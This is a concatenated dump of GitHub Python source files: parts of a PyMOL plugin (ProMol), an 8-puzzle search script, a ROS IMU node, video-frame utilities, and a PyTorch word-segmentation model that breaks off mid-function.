colors the specified selection in the\n## # specified way and shows the specified representations of it\n## # toshow is the representation or tuple of representations; tocolor is either\n## # a color defined in PyMOL or 'cpk'; cpknew specifies whether to use the new\n## # or old CPK color dictionary\n## def show(selection, toshow, tocolor, cpknew):\n## # This turns on display of the representation(s) of the selection argument\n## # specified in the toshow argument. If toshow is a single representation,\n## # just show it; if it is a tuple of representations, show each of them.\n## if type(toshow).__name__ == 'tuple':\n## for show in toshow:\n## cmd.show('%s' % (show), '%s' % (selection))\n## else:\n## cmd.show('%s' % (toshow), '%s' % (selection))\n## # If the tocolor argument specifies CPK coloring (by being equal to the\n## # string 'cpk'), run the CPK coloring function; otherwise, treat the\n## # tocolor argument as a previously defined color name in PyMOL and color\n## # the selection that way\n## if tocolor == 'cpk':\n## cpk(cpknew, selection)\n## else:\n## cmd.color('%s' % (tocolor), '%s' % (selection))\n## # We're back in the main body of procolor() now, for the first time\n## # The body of this if will execute unless None (the python null value)\n## # was passed in as the show_all argument\n## if show_all != None:\n## # First, hide everything\n## # Since this call to cmd.hide is inside the if, passing None to the\n## # show_all argument of procolor will only color the specified selection\n## # but won't hide already shown representations. So, to color and show just\n## # the selection specified while leaving everything else hidden, the caller\n## # would need to pass in the empty tuple as the show_all argument to\n## # procolor().\n## cmd.hide('everything', 'all')\n## # Then, run the nested function show() to color all objects or atoms the\n## # way we want them.\n## show('all', show_all, color_all, cpknew)\n## # If a non-None selection was passed in (the default value is None, if not\n## # explicitly specified), color it the way the caller wants as well\n## if selection != None:\n## show(selection, show_selection, color_selection, cpknew)\n### Make the above functionality available from the PyMOL command line. I'm not\n### sure whether that will allow passing any arguments in; it might just always\n### use the defaults when called in this way.\n##cmd.extend('procolor', procolor)\n##\n### This is called from within update()\n##def populate():\n## # Create named selections automatically\n## cmd.select('protein', 'resn GLY+PRO+ALA+VAL+LEU+ILE+MET+CYS+PHE+TYR+TRP+'+\n## 'HIS+LYS+ARG+GLN+ASN+GLU+ASP+SER+THR')\n## cmd.select('dna', 'resn %s'%(DNASTR))\n## cmd.select('rna', 'resn %s'%(RNASTR))\n## cmd.select('hydrophobic', 'resn ALA+ILE+LEU+MET+PHE+PRO+TRP+VAL')\n## cmd.select('hydrophilic', 'resn THR+SER+ARG+ASN+ASP+GLN+GLU+HIS+LYS')\n## cmd.select('acidic', 'resn ASP+GLU')\n## cmd.select('basic', 'resn ARG+HIS+LYS')\n## cmd.select('ligands', 'het')\n## cmd.select('heme', 'resn hem')\n## cmd.select('b12', 'resn b12')\n## cmd.select('cub', 'resn cub')\n## cmd.select('fes', 'resn fes')\n## cmd.select('mos', 'resn mos')\n## cmd.select('hea', 'resn hea')\n## cmd.select('cua', 'resn cua')\n## cmd.select('fco', 'resn fco')\n## cmd.select('sf4', 'resn sf4')\n## cmd.select('f3s', 'resn f3s')\n## cmd.select('fe2', 'symbol fe')\n## cmd.select('cfm', 'resn cfm')\n## cmd.select('clf', 'resn clf')\n## cmd.select('hec', 'resn hec')\n## cmd.select('cob', 'resn cob')\n## cmd.select('c2o', 'resn c2o')\n## cmd.select('pcd', 'resn pcd')\n## cmd.select('f43', 'resn f43')\n## cmd.select('sodium', 'symbol na')\n## cmd.select('zinc', 'symbol zn')\n## cmd.select('3co', 'symbol co')\n## cmd.select('Cobalt', 'symbol co')\n## cmd.select('Nickle', 'symbol ni')\n## cmd.select('Iron', 'symbol fe')\n## cmd.select('Copper', 'symbol cu')\n## cmd.select('Manganese', 'symbol mn')\n## cmd.select('Magnesium', 'symbol mg')\n## cmd.select('4mo', 'symbol mo')\n## cmd.select('Molybdenum', 'symbol mo')\n## cmd.select('calcium', 'symbol ca')\n## # Then turn them off\n## cmd.disable('ca')\n## cmd.disable('mo')\n## cmd.disable('4mo')\n## cmd.disable('mg')\n## cmd.disable('mn')\n## cmd.disable('cu')\n## cmd.disable('fe')\n## cmd.disable('ni')\n## cmd.disable('co')\n## cmd.disable('3co')\n## cmd.disable('zn')\n## cmd.disable('na')\n## cmd.disable('f43')\n## cmd.disable('pcd')\n## cmd.disable('c2o')\n## cmd.disable('cob')\n## cmd.disable('hec')\n## cmd.disable('clf')\n## cmd.disable('cfm')\n## cmd.disable('fe2')\n## cmd.disable('f3s')\n## cmd.disable('sf4')\n## cmd.disable('fco')\n## cmd.disable('cua')\n## cmd.disable('hea')\n## cmd.disable('mos')\n## cmd.disable('fes')\n## cmd.disable('cub')\n## cmd.disable('b12')\n## cmd.disable('heme')\n## cmd.disable('ligands')\n## cmd.disable('basic')\n## cmd.disable('acidic')\n## cmd.disable('hydrophilic')\n## cmd.disable('hydrophobic')\n## cmd.disable('dna')\n## cmd.disable('rna')\n## cmd.disable('protein')\n## # Create named selections for each chain, and leave them off by default\n## for letter in cmd.get_chains():\n## if letter==\"\":\n## letter=\"\\\"\\\"\"\n## chain = 'Chain-%s'%(letter)\n## cmd.select(chain, \"chain %s\"%(letter))\n## cmd.disable(chain)\n## # Delete any selections (or other objects) that contain no atoms\n## objects = cmd.get_names('all')\n## for obj in objects:\n## try:\n## if(len(cmd.index(obj)) < 1):\n## cmd.delete(obj)\n## except:\n## cmd.delete(obj)\n## # See what's left\n## objects = cmd.get_names('all')\n## # Create a list containing all the remaining objects, plus \"All\".\n## # If there's any protein, dna, or rna, add selections representing\n## # their negation (everything else) to the list too\n## items = ['All', ]\n## for obj in objects:\n## items.append(obj)\n## if obj in ['protein', 'dna', 'rna']:\n## items.append('not %s' % obj)\n## # Add everything in that list as an option in the EZ-Viz and View Options\n## # selection menus. _setit is an internal TkInter class, not sure\n## # exactly why its constructor is being called here (it deals with option\n## # menu commands though, so it kind of makes sense).\n## try:\n## GUI.ez_viz['selection_menu']['menu'].delete(0, tk.END)\n## GUI.view['advanced_selection_menu']['menu'].delete(0, tk.END)\n## for item in items:\n## GUI.ez_viz['selection_menu']['menu'].add_command(label=item,\n## command=tk._setit(GUI.ez_viz['selection'], item, set_selection))\n## GUI.view['advanced_selection_menu']['menu'].add_command(label=item,\n## command=tk._setit(GUI.view['advanced_selection'], item, \n## set_selection))\n## except AttributeError:\n## pass\n### Make the functionality available from the PyMOL command line\n##cmd.extend('populate', populate)\n##\n### Calls defaults() and populate() (defined earlier in this file), and\n### rotates everything to line up with the 3D axes\n##def update():\n## defaults()\n## populate()\n## cmd.orient('all')\n### Make available from the PyMOL command line\n##cmd.extend('update', update)\n##\n# This function runs when the Random PDB button is clicked. Before 4.2,\n# it fetched the list of PDB entries from the Internet only once, then stashed\n# the information in the PDB entry persistent database. This was a second\n# instance of the class used for the motif database before it was changed to a\n# dictionary. That class had problems, so both instances were removed. Now,\n# it is fetched every time the button is clicked. That is probably not an\n# improvement, since the file in question is rather large (over a 3G cellular\n# data connection, clicking this button will block everything for somewhere\n# between a few seconds to a couple of minutes). This should probably be\n# fetched once per program run (or even once per week), then stored locally.\n# Whether a file download should run on and block the GUI thread is another\n# issue.\ndef randompdb():\n # Adapted from pdbstore function (removed)\n database = []\n masterfile = None\n try:\n masterfile = urllib2.urlopen(MASTERFILE_URL)\n for pdbline in masterfile:\n database.append(pdbline.split('\\t')[0])\n finally:\n if (masterfile):\n masterfile.close()\n if (len(database) > 0):\n randomPDB = Protein()\n randomPDB.getPDB(random.choice(database))\n return randomPDB\n return False\n### Makes this functionality available from the PyMOL command line\n##cmd.extend('randompdb',randompdb)\n##\n### This appears to be called when the EZ-Viz or View Options selection menus\n### are used. See the end of populate(), above.\n##def set_selection(tag='all'):\n## global SELE\n## GUI.ez_viz['selection'].set(tag)\n## GUI.view['advanced_selection'].set(tag)\n## SELE = tag\n\n# This replaces the old progress bars which were not scalable. This class uses\n# two labels side by side and adjusts their relative sizing weights to display\n# progress.\nclass ScalableProgressBar:\n def __init__(self, parent):\n self.widget = tk.Frame(parent)\n self.leftPortion = tk.Label(self.widget, background='black')\n self.rightPortion = tk.Label(self.widget, background='white')\n self.leftPortion.grid(row=0, column=0, sticky=tk.N+tk.E+tk.S+tk.W)\n self.rightPortion.grid(row=0, column=1, sticky=tk.N+tk.E+tk.S+tk.W)\n self.setProgressPercent(0)\n def getWidget(self):\n return self.widget\n def setProgressPercent(self, newLevel):\n # Don't let either weight be zero\n # Weights will go from 1 to 99,999\n multiplier = 1000\n\n # If weights are zero it means something different, so to show\n # 0% or 100%, just weight the labels evenly so each is half the width\n # of the progress bar, but color them either both white or both black\n maxWeight = multiplier * 100\n leftWeight = int(newLevel * multiplier)\n someOfEach = (0 < leftWeight < maxWeight)\n self.widget.columnconfigure(0, weight=leftWeight if someOfEach else 1)\n self.widget.columnconfigure(1, weight=maxWeight - leftWeight if someOfEach else 1)\n self.leftPortion.configure(background = 'black' if leftWeight > 0 else 'white')\n self.rightPortion.configure(background = 'white' if leftWeight < maxWeight else 'black')\n # I wanted to name the progress setting method starting with a lowercase\n # but this is here for backwards compatibility with the old class\n def SetProgressPercent(self, newLevel):\n self.setProgressPercent(newLevel)\n","repo_name":"ssmadha/Standalone-ProMol","sub_path":"ProMol/promolglobals.py","file_name":"promolglobals.py","file_ext":"py","file_size_in_byte":36707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12021439076","text":"import numpy as np\nimport copy\n\ndef find_value(M, value):\n row, col = np.where(M==value)\n return row, col\n\ndef move_left(M):\n row, col = find_value(M, 0)\n M[row,col] = M[row,col-1]\n M[row,col-1] = 0\n return M\n\ndef move_right(M):\n row, col = find_value(M, 0)\n M[row,col] = M[row,col+1]\n M[row,col+1] = 0\n return M\n\ndef move_up(M):\n row, col = find_value(M, 0)\n M[row,col] = M[row-1,col]\n M[row-1,col] = 0\n return M\n\ndef move_down(M):\n row, col = find_value(M, 0)\n M[row,col] = M[row+1,col]\n M[row+1,col] = 0\n return M\n\ndef manhattan_distance(M, M_end):\n h = 0\n for row in range (len(M)):\n for col in range (len(M)):\n row_end, col_end = find_value(M_end, M[row,col])\n h = h + abs(row_end-row) + abs(col_end-col) \n return h\n\ndef misplaced_count(M, M_end):\n h = 0\n for row in range (len(M)):\n for col in range (len(M)):\n if M[row,col] != M_end[row,col]:\n h = h + 1\n return h\n\ndef generate_frontier(M, M_end, visited, cost):\n open = []\n if np.allclose(M, M_end):\n print(\"Matriz já é solução. Fim do jogo.\")\n else:\n row, col = find_value(M, 0)\n if (row <= 1):\n M_current = copy.deepcopy(M)\n M_next = move_down(M_current)\n if any(np.array_equal(M_next, i) for i in visited) == False:\n open.append((M_next, cost))\n if (row >= 1):\n M_current = copy.deepcopy(M)\n M_next = move_up(M_current)\n if any(np.array_equal(M_next, i) for i in visited) == False:\n open.append((M_next,cost))\n if (col >= 1):\n M_current = copy.deepcopy(M)\n M_next = move_left(M_current)\n if any(np.array_equal(M_next, i) for i in visited) == False:\n open.append((M_next, cost))\n if (col <= 1):\n M_current = copy.deepcopy(M)\n M_next = move_right(M_current)\n if any(np.array_equal(M_next, i) for i in visited) == False:\n open.append((M_next,cost))\n return open\n\n#---------------------------------------------------------------------------\n# MAIN CODE\n#---------------------------------------------------------------------------\n\n# Gera matrizes\nM_in = np.matrix('5 8 6; 2 0 7; 1 3 4')\nM_end = np.matrix('1 2 3; 4 5 6; 7 8 0')\n\n# Inicializa fronteira e nodos fechados\nopen = []\nvisited = []\n\n# Inicializa custo uniforme\ncost = 0\n\n# Inicializa primeiro nodo\nopen.append((M_in, cost))\nM = M_in\n\n# Faz primeira iteração\nopen.sort(key=lambda x:x[1])\nM = open.pop(0)[0]\ncost = cost + 1\nopen.append(generate_frontier(M, M_end, visited, cost))\nvisited.append(M)\n\nwhile np.allclose(M,M_end) != True:\n open.sort(key=lambda x:x[0][0][1])\n M = open[0][0][0]\n open[0].pop(0)\n cost = cost + 1\n open.append(generate_frontier(M, M_end, visited, cost))\n visited.append(M)\n\n# print(open[0][0][0])\n# print(open)\n# print(M)\n# cost = cost + 1\n# open.append(generate_frontier(M, M_end, visited, cost))\n# visited.append(M)\n # if cost == 2:\n # break\n\n# print(open)\n# print(visited)\nprint(\"Matriz solução encontrada. Fim de Jogo.\")\nprint(M)\n#---------------------------------------------------------------------------\n# DEBUG\n#---------------------------------------------------------------------------\n\n# print(M_in)\n# teste = move_down(M_in)\n# print(M_in)\n\n# y = 0\n\n# def teste(x):\n# return x + 1\n\n# print(y)\n# z = teste(y)\n# print(y)\n\n# biblioteca copy -> funcao deep copy","repo_name":"PedroXavierCode/SistemasInteligentes","sub_path":"8puzzle.py","file_name":"8puzzle.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11107242427","text":"#!/usr/bin/python\n\nimport rospy\n\nfrom coop_loc.msg import IMUwithMoving\nfrom sensor_msgs.msg import Imu\nfrom geometry_msgs.msg import Twist\n\nclass AddMovingIMU():\n def __init__(self, name='add_moving_imu'):\n rospy.init_node(name)\n \n rospy.Subscriber('imu_0', Imu, self.imu_callback, queue_size=1)\n rospy.Subscriber('command', Twist, self.command_callback, queue_size=1)\n \n self.imu_moving_pub = rospy.Publisher('imu_moving', IMUwithMoving, queue_size=1)\n self.moving = False\n\n def imu_callback(self, msg):\n imu_moving_msg = IMUwithMoving(\n msg.header, msg.angular_velocity, msg.linear_acceleration, self.moving\n )\n self.imu_moving_pub.publish(imu_moving_msg)\n\n def command_callback(self, msg):\n self.moving = abs(msg.linear.x) > 0.001 or abs(msg.angular.z) > 0.001\n\nif __name__ == '__main__':\n amu = AddMovingIMU()\n rospy.spin()\n","repo_name":"abuchan/coop_loc","sub_path":"src/add_moving_imu.py","file_name":"add_moving_imu.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"14246827655","text":"from genericpath import exists\nfrom ntpath import join\nimport cv2, os, re, glob,imageio\nfrom pathlib import Path\nfrom cv2 import imread\nimport numpy as np\n\ndef frameFromVideo(video,path='./frames/'):\n # Receives a video and split it into frames\n # Frames are saved in the path (./frames/) by default\n \n # Also returns video shape (width and length). This information can be used to crop other images to insert new frames in the video\n vidcap = cv2.VideoCapture(video)\n success,image = vidcap.read()\n count = 0\n video_width = vidcap.get(3) \n video_height = vidcap.get(4)\n video_fps = vidcap.get(cv2.CAP_PROP_FPS)\n print(video_fps)\n if os.path.exists(path): # Remove old frames in the path, it they exist\n files = glob.glob(os.path.join(path,'*'))\n for f in files:\n os.remove(f)\n else:\n os.makedirs(path) \n while success: # Read frame by frame and save it in the path\n cv2.imwrite(path+\"frame%d.jpg\" % count, image) # save frame as JPEG file \n success,image = vidcap.read()\n count += 1\n return int(video_height),int(video_width),video_fps\n\ndef frameNameModify(path,position,qty):\n # To insert a new frame in a specific order, the subsequent frames must be shifted by the number of frames to be inserted\n # Eg: ...,frame3,frame4,frame5,frame6,...,frameN\n # A new frame will be inserted after frame5 and before frame6. This function does:\n # ...,frame3,frame4,frame5,_,frame6+1,...,frameN+1\n \n dirFiles = os.listdir(path) # List frames\n dirFiles.sort(key=lambda f: int(re.sub('\\D', '', f))) # To sort files numerically (1,2,3...,11,12 rather than 1,11,12,2,3)\n for index, file in reversed(list(enumerate(dirFiles))):\n if index >= position:\n os.rename(os.path.join(path,file),os.path.join(path,''.join(['frame',str(index+qty),'.jpg']))) \n return\n\ndef cropresizeframe(frame,height_video,width_video):\n # To insert a frame in a video, it must have the same shape as the video\n # This function reshape an image by rescaling it to fill the video shape and crop the remanescent edge\n\n assert type(frame) == np.ndarray, 'height_video must be int'\n assert type(height_video) == int, 'height_video must be int'\n assert type(width_video) == int, 'width_video must be int'\n\n height_rel = height_video/frame.shape[0] # Relationship between video height and the height of the image to be inserted\n width_rel = width_video/frame.shape[1] # Relationship between video width and the width of the image to be inserted\n\n scale_reshape = height_rel if height_rel > width_rel else width_rel # It is considered the biggest difference between dimensions, so the frame will cover the whole video shape (and a part of it will be cropped)\n\n new_height = int(frame.shape[0]*scale_reshape)\n new_width = int(frame.shape[1]*scale_reshape)\n\n resized_image = cv2.resize(frame, (new_width, new_height))\n\n # The cropped image is placed in the center of the original image\n crop_img= resized_image[int((new_height-height_video)/2):int((new_height-height_video)/2)+height_video,int((new_width-width_video)/2):int((new_width-width_video)/2)+width_video]\n\n return crop_img\n\ndef videoFromFrameFolder(path,framerate,video_name='untitled.mp4'):\n # Receives the path of a folder and concatenate all present images in a mp4 video\n img_array = []\n dirFiles = os.listdir(path) # List frames\n dirFiles.sort(key=lambda f: int(re.sub('\\D', '', f))) # To sort files numerically (1,2,3...,11,12 rather than 1,11,12,2,3)\n \n # Create an array with the images found by listdir\n for filename in dirFiles:\n img = cv2.imread(path+filename)\n height, width, _ = img.shape\n size = (width,height)\n img_array.append(img)\n \n # Create a constructor with the video parameters (name, codec, framerate, shape)\n out = cv2.VideoWriter(video_name,cv2.VideoWriter_fourcc(*'DIVX'), framerate, size)\n for i in range(len(img_array)):\n out.write(img_array[i])\n return\n\ndef gifFromFrameFolder(path,framerate=15,gif_name='untitled.gif'):\n # Receives a folder path and concatenates all present images in a gif\n filenames = os.listdir(path) # List frames\n filenames.sort(key=lambda f: int(re.sub('\\D', '', f))) # To sort files numerically (1,2,3...,11,12 rather than 1,11,12,2,3)\n images = []\n for filename in filenames:\n images.append(imageio.imread(os.path.join(path,filename)))\n imageio.mimsave(gif_name, images,fps=framerate)\n\ndef frameInsert(frame_src,video_dst,position,gif=False,output_name='untitled',framerate=None):\n # Insert a frame, or an array of frames, in a video, returns the video with the added frames (or a gif if gif=True)\n \n if type(frame_src) == str:\n # check if the path exists\n assert Path(frame_src).exists(), 'File not found in '+frame_src\n elif type(frame_src) == list:\n # check if each path exists\n for f in frame_src:\n assert type(f) == str, 'File not found because the path passed is not a string'\n assert Path(f).exists(), 'File not found in '+f\n else:\n # assert type(frame_src) == np.ndarray or type(frame_src) == , 'frame_str must be str, array of str or numpy.ndarray (image read with cv2.imread())'\n assert frame_src == np.ndarray, 'If the file is not given by its location, it must be passed by argument using cv2.imread(filepath)'\n assert type(position) == int, 'frame position must be int'\n \n if framerate == None:\n height_video, width_video,framerate = frameFromVideo(video_dst) # Separate the video in frames and get shape and fdp information (if fps not specified)\n else:\n height_video, width_video,_ = frameFromVideo(video_dst) # Separate the video in frames and get shape information\n path = './frames/' # To create a folder where store the temporary frames\n \n frameNameModify(path,position,len(frame_src)) # Frames are named frame1.jpg,...,frameN.jpg, this function shifts each frame name departing from the position given by parameter\n\n for index,fr in enumerate(frame_src):\n if type(fr) == str:\n cropped_frame = cropresizeframe(cv2.imread(fr),height_video,width_video) # If the frame does not have the same shape of the video, this frame is resized and cropped to be in the same shape as the video\n else:\n cropped_frame = cropresizeframe(fr,height_video,width_video) # If the frame does not have the same shape of the video, this frame is resized and cropped to be in the same shape as the video\n cv2.imwrite(os.path.join(path,''.join(['frame',str(position+index),'.jpg'])),cropped_frame) # Save the frame(s) in the temp folder with the name frame(position).jpg\n if gif:\n print('llego aqui')\n output_name = ''.join([output_name,'.gif'])\n return gifFromFrameFolder(path,framerate,output_name) # Create a gif from the set of frames present in the temp folder\n else:\n output_name = ''.join([output_name,'.mp4'])\n return videoFromFrameFolder(path,framerate,output_name) # Create a video from the set of frames present in the temp folder","repo_name":"brenodacosta/DeepLearning","sub_path":"VideoRecognition/framemanagement.py","file_name":"framemanagement.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27797939294","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.nn.utils.rnn import pad_sequence, pad_packed_sequence, pack_sequence, pack_padded_sequence\n\nimport copy\n\nimport numpy as np\nimport scipy.signal as signal\n\nclass NNESKMeans(nn.Module):\n def __init__(self, \n word_size, input_dim, output_dim, \n num_layers, batch_size,\n max_len, min_len,\n is_decoder=False\n ):\n super(NNESKMeans, self).__init__()\n\n self.batch_size = batch_size\n self.max_len = max_len\n self.min_len = min_len\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.word_size = word_size\n self.is_decoder = is_decoder\n\n self.word_emb = nn.Parameter(\n 1*torch.Tensor(word_size, output_dim).uniform_(-1, 1)\n )\n\n self.encoder = LSTMEncoder(input_dim, output_dim, num_layers)\n\n self.decoder = LSTMDecoder(output_dim, input_dim, num_layers, word_size)\n \n def get_embs(self, feats, downsample=False):\n if downsample:\n embs = []\n for f in feats:\n embs_i = []\n f = f.numpy()\n for i in range(1, len(f)+1):\n x = signal.resample(f[:i], 10, axis=0).flatten()\n embs_i.append(x)\n embs_i = torch.from_numpy(np.array(embs_i))\n embs.append(embs_i)\n embs = pad_sequence(embs, batch_first=True, padding_value=0.0).to(\"cuda\")\n #embs = torch.from_numpy(embs).to(\"cuda\")\n else:\n embs = self.encoder(feats, pack=True)[0]\n\n return embs\n\n def forward(self, \n feats, seglist, slice_len, \n train=True, encoder_grad=True, decoder_grad=True, ini_seg=True, \n downsample=False,\n segment_temp=None, cluster_temp=None, loss_weight=0.25,\n emb_start_idx=0, emb_end_idx=None\n ):\n seq_len = len(feats)\n if emb_end_idx is None:\n emb_end_idx = self.word_size\n\n with torch.no_grad():\n if ini_seg:\n if train:\n with torch.no_grad():\n x = self.encoder(feats, pack=True)[0]\n else:\n x = []\n for i in range(int(len(feats)/self.batch_size)+1):\n feats_i = feats[i*self.batch_size : (i+1)*self.batch_size]\n x.extend(self.encoder(feats_i, pack=True)[0])\n \n durs = []\n for seg in seglist:\n durs.append(seg[:,1] - seg[:,0])\n\n embs = []\n for x_i, durs_i in zip(x, durs):\n x_i = x_i[durs_i - 1]\n embs.append(x_i)\n\n durs = torch.stack(durs) \n else:\n start_land = seglist[0]\n feats = torch.cat([feats, feats.new_zeros(self.max_len-1, self.input_dim)])\n embs = []\n seglist = []\n i=-1\n\n for i in range(int(seq_len/self.batch_size)):\n feats_i = [\n feats[i*self.batch_size+j:i*self.batch_size+j+self.max_len] \n for j in range(self.batch_size)\n ]\n with torch.no_grad():\n #embs.extend(self.encoder(feats_i, pack=True)[0])\n embs.extend(self.get_embs(feats_i, downsample))\n seglist.extend([list(range(start_land+i*self.batch_size+j, start_land+i*self.batch_size+j+self.max_len)) for j in range(self.batch_size)])\n feats_i = [\n feats[(i+1)*self.batch_size+j:(i+1)*self.batch_size+j+self.max_len] \n for j in range(seq_len-(i+1)*self.batch_size)\n ]\n if not (len(feats_i)==0):\n with torch.no_grad():\n #x = self.encoder(feats_i, pack=True)[0]\n #embs.extend(self.encoder(feats_i, pack=True)[0])\n embs.extend(self.get_embs(feats_i, downsample))\n seglist.extend([list(range(start_land+(i+1)*self.batch_size+j, start_land+(i+1)*self.batch_size+j+self.max_len)) for j in range(seq_len-(i+1)*self.batch_size)])\n seglist = torch.unsqueeze(torch.tensor(seglist), -1)\n seglist = torch.cat([\n seglist[:, 0, :].expand(self.max_len, len(seglist), 1).permute(1,0,2), \n seglist+1]\n , dim=2)\n\n durs = seglist[:, :, 1] - seglist[:, :, 0] \n\n embs = torch.stack(embs).view(-1, self.output_dim)\n durs = durs.flatten().to(\"cuda\")\n\n segment_loss = 0\n rec_loss = torch.tensor(0).to(torch.float).to(\"cuda\")\n\n sample_segment = 0\n sample_rec = 0\n sample_token = 0\n\n len_mean = 0\n\n codebook_diversity = torch.zeros(len(self.word_emb[emb_start_idx:emb_end_idx]))\n\n #seq_len = int(len(embs)/slice_len)\n # get distance matrix\n distances = []\n\n if train:\n with torch.no_grad():\n d_i = []\n for i in range(int(len(embs)/self.batch_size)+1):\n d_prob_i = (torch.sum(embs[i*self.batch_size : (i+1)*self.batch_size]**2, dim=-1, keepdim=True) \n + (-2)*torch.matmul(embs[i*self.batch_size : (i+1)*self.batch_size], self.word_emb[emb_start_idx:emb_end_idx].T) \n + torch.sum(self.word_emb[emb_start_idx:emb_end_idx]**2, dim=-1))\n\n d_prob_i = torch.min(d_prob_i, dim=-1)[1] \n\n d_i.extend(d_prob_i)\n d_i = torch.stack(d_i)\n\n d_i_gumbel = d_i\n d = torch.sum((embs - self.word_emb[emb_start_idx:emb_end_idx][d_i])**2, dim=-1)\n else:\n d = []\n d_i = []\n for i in range(int(len(embs)/self.batch_size)+1):\n dev_seq = embs[i*self.batch_size : (i+1)*self.batch_size]\n d_dev = torch.sum(dev_seq**2, dim=-1, keepdim=True) - 2*torch.matmul(dev_seq, self.word_emb.T) + torch.sum(self.word_emb**2, dim=-1)\n d_dev, d_i_dev = torch.min(d_dev, dim=-1)\n\n d.append(d_dev)\n d_i.append(d_i_dev)\n \n d = torch.cat(d, dim=-1)\n d_i = torch.cat(d_i, dim=-1)\n\n distances = d*durs\n\n del d\n #del durs\n distances = distances.view(-1, slice_len)\n ass = d_i.view(-1, slice_len)\n seglist = seglist.view(-1, slice_len, 2)\n\n embs = embs.view(-1, self.max_len, self.output_dim)\n durs = durs.view(-1, self.max_len)\n\n if not decoder_grad:\n del embs\n del durs\n\n if not len(distances)==seq_len:\n print(\"batch division error\")\n exit()\n d_matrix = float(\"inf\")*distances.new_ones(seq_len+1, seq_len+self.max_len - 1)\n for i in range(seq_len):d_matrix[i][i+self.min_len-1:i+self.max_len] = distances[i][self.min_len-1:self.max_len] # matrix[a,b] is score(seq[a:b+1])\n id_matrix = -1*torch.ones(seq_len+1, seq_len+self.max_len - 1, dtype=torch.long)\n for i in range(seq_len):id_matrix[i][i+self.min_len-1:i+self.max_len] = ass[i][self.min_len-1:self.max_len] # matrix[a,b] is score(seq[a:b+1])\n seglist_matrix = -1*torch.ones(seq_len+1, seq_len+self.max_len - 1, 2, dtype=torch.long)\n for i in range(seq_len):seglist_matrix[i][i+self.min_len-1:i+self.max_len] = seglist[i][self.min_len-1:self.max_len] # matrix[a,b] is score(seq[a:b+1])\n\n # if seq len is smaller than min_len\n if seq_len < self.min_len:\n whole_seg = seglist[0][seq_len - 1]\n whole_ass = ass[0][seq_len - 1]\n\n gammas = float('inf')*distances.new_ones(seq_len+1)\n gammas[0] = 0\n boundaries = [0]*(seq_len+1)\n boundaries[0] = [0]\n ass = [0]*(seq_len+1)\n ass[0] = [0]\n seglist = [0]*(seq_len+1)\n seglist[0] = [(-1, -1)]\n\n mean_pen = []\n for t in range(self.min_len, seq_len+1):\n\n distances = d_matrix.T[t-1]\n \n distances = distances + gammas\n \n if train and (segment_temp is not None):\n #min_d, b = torch.min(distances, dim=-1)\n gumbels = (\n -torch.empty_like(distances, memory_format=torch.legacy_contiguous_format).exponential_().log()\n )\n _, b_g = torch.max(-1*(distances)/segment_temp + gumbels, dim=-1)\n min_d_g = distances[b_g]\n min_d = min_d_g #- (min_d_g - min_d).detach()\n b = b_g\n else:\n min_d, b = torch.min(distances, dim=-1)\n\n gammas[t] = min_d \n ass[t] = ass[b].copy()\n ass[t].append(id_matrix[b][t-1].item())\n seglist[t] = seglist[b].copy()\n seglist[t].append(seglist_matrix[b][t-1])\n boundaries[t] = boundaries[b].copy()\n boundaries[t].append(t) #0含めてtつ目\n\n\n del d_matrix\n del seglist_matrix\n del id_matrix\n boundaries = boundaries[-1]\n seglist = seglist[-1]\n ass = ass[-1]\n\n if seq_len < self.min_len:\n ass = [0, whole_ass]\n seglist = [(-1, -1), whole_seg]\n boundaries = [0, whole_seg[0], whole_seg[1]]\n\n # recompute for grad\n if train:\n feat_for_grad = []\n durs = []\n for seg in seglist[1:]:\n feat_for_grad.append(feats[seg[0] : seg[1]])\n durs.append(seg[1] - seg[0])\n durs = torch.stack(durs).to(\"cuda\")\n\n if encoder_grad:\n x = self.get_embs(feat_for_grad, downsample)\n else:\n with torch.no_grad():\n x = self.get_embs(feat_for_grad, downsample)\n\n embs = []\n for x_i, durs_i in zip(x, durs):\n x_i = x_i[durs_i - 1]\n embs.append(x_i)\n embs = torch.stack(embs)\n \n if cluster_temp is not None:\n with torch.no_grad():\n d_prob_i = (torch.sum(embs**2, dim=-1, keepdim=True) \n + (-2)*torch.matmul(embs, self.word_emb[emb_start_idx:emb_end_idx].T) \n + torch.sum(self.word_emb[emb_start_idx:emb_end_idx]**2, dim=-1))\n gumbels = (\n -torch.empty_like(d_prob_i, memory_format=torch.legacy_contiguous_format).exponential_().log()\n )\n d_prob_i = torch.max(-d_prob_i/cluster_temp + gumbels, dim=-1)[1]\n else:\n d_prob_i = ass[1:]\n\n d = (torch.sum((embs.detach() - self.word_emb[emb_start_idx:emb_end_idx][d_prob_i])**2, dim=-1) + loss_weight*torch.sum((embs - self.word_emb[emb_start_idx:emb_end_idx][d_prob_i].detach())**2, dim=-1))/(1+loss_weight)\n\n d = d * durs\n segment_loss = torch.sum(d)/(self.max_len/2)\n else:\n segment_loss = gammas[-1]/(self.max_len/2)\n \n del gammas\n sample_segment = len(seglist[1:])\n\n sample_token = 0\n\n output_idx = [(e-s).item() for s, e in seglist[1:]]\n output_idx = torch.tensor(output_idx)\n output_idx = output_idx.to(torch.float)\n mean = torch.mean(output_idx).item()\n\n len_mean += mean\n for i in ass[1:]:\n codebook_diversity[i] += 1\n total_len = sum(output_idx).item()\n\n # train decoder\n if train and decoder_grad:\n #embs = self.word_emb[d_prob_i] + (embs - self.word_emb[d_prob_i]).detach()\n\n if ini_seg:\n durs = [e-s for s, e in seglist[1:]]\n feats = [feats[s][:d] for s, d in zip(boundaries[:-1], durs)]\n else:\n segs = torch.stack(seglist[1:]) - start_land\n durs = segs[:, 1] - segs[:, 0]\n feats = [feats[start:end] for start, end in segs]\n\n for i in range(int(len(embs)/self.batch_size)+1):\n e = embs[i*self.batch_size:(i+1)*self.batch_size]\n lens = durs[i*self.batch_size:(i+1)*self.batch_size]\n if len(lens)==0:break\n\n x_rec = self.decoder(e, lens)\n\n x = feats[i*self.batch_size:(i+1)*self.batch_size]\n\n 